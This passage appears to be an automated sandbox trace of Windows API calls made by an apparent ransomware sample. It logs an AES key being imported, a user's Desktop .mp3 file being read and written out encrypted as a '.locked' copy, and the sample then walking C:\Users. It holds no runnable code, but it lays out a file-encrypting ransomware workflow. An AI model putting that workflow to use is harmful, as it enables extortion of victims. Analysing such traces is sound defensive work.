(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0129.500] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.500] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0129.500] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0129.500] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.500] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0129.501] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0129.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0129.501] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0129.501] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0129.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0129.501] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0129.501] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0129.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0129.501] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0129.501] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0129.501] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0129.501] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.501] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.502] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.502] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0129.503] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x8e027a0) returned 1 [0129.504] CryptImportKey (in: hProv=0x8e027a0, pbData=0x6a39b2c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84b78) returned 1 [0129.504] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0129.504] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\x9a24\x6a3") returned 0x0 [0129.504] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.504] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.504] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.505] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3")) returned 0x20 [0129.505] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3")) returned 0x20 [0129.506] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.506] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.506] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.506] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.507] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.507] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.507] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.507] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.507] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.507] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0129.507] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0129.508] GetFileType (hFile=0x874) returned 0x1 [0129.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0129.508] GetFileType (hFile=0x874) returned 0x1 [0129.508] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.508] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0129.508] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.508] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.508] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.509] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked", lpFilePart=0x0) returned 0x32 [0129.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0129.509] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0129.509] GetFileType (hFile=0x868) returned 0x1 [0129.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0129.509] GetFileType (hFile=0x868) returned 0x1 [0129.509] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.510] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x6a4ee54 | out: pbBuffer=0x6a4ee54) returned 1 [0129.510] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0129.510] CryptDuplicateKey (in: hKey=0x8e84b78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84bf8) returned 1 [0129.510] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0129.510] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x4, pbData=0x6a50110*=0x1, dwFlags=0x0) returned 1 [0129.511] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x1, pbData=0x6a500dc, dwFlags=0x0) returned 1 [0129.511] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\xf480\x437\x242") returned 0x0 [0129.511] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.511] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.511] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.512] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.512] ReadFile (in: hFile=0x874, lpBuffer=0x6a5366c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a5366c*, lpNumberOfBytesRead=0x99ae6cc*=0x10306, lpOverlapped=0x0) returned 1 [0129.512] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a67678*, pdwDataLen=0x99ae6c0*=0x10300, dwBufLen=0x10300 | out: pbData=0x6a67678*, pdwDataLen=0x99ae6c0*=0x10300) returned 1 [0129.512] WriteFile (in: hFile=0x868, lpBuffer=0x6a4ef14*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a4ef14*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0129.513] WriteFile (in: hFile=0x868, lpBuffer=0x6a68664*, nNumberOfBytesToWrite=0xf314, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6a68664*, lpNumberOfBytesWritten=0x99ae6a4*=0xf314, lpOverlapped=0x0) returned 1 [0129.514] ReadFile (in: hFile=0x874, lpBuffer=0x6a5366c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6a5366c*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0129.514] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a7799c*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6a7799c*, pdwDataLen=0x99ae714*=0x10) returned 1 [0129.514] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a779d0*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6a779d0*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0129.514] WriteFile (in: hFile=0x868, lpBuffer=0x6a4ef14*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x6a4ef14*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0129.514] CloseHandle (hObject=0x868) returned 1 [0129.516] CloseHandle (hObject=0x874) returned 1 [0129.517] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.517] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.517] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.517] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.517] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.518] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3")) returned 0x20 [0129.518] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.518] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0129.518] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0129.518] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0129.519] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0129.519] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0129.519] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0129.519] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, 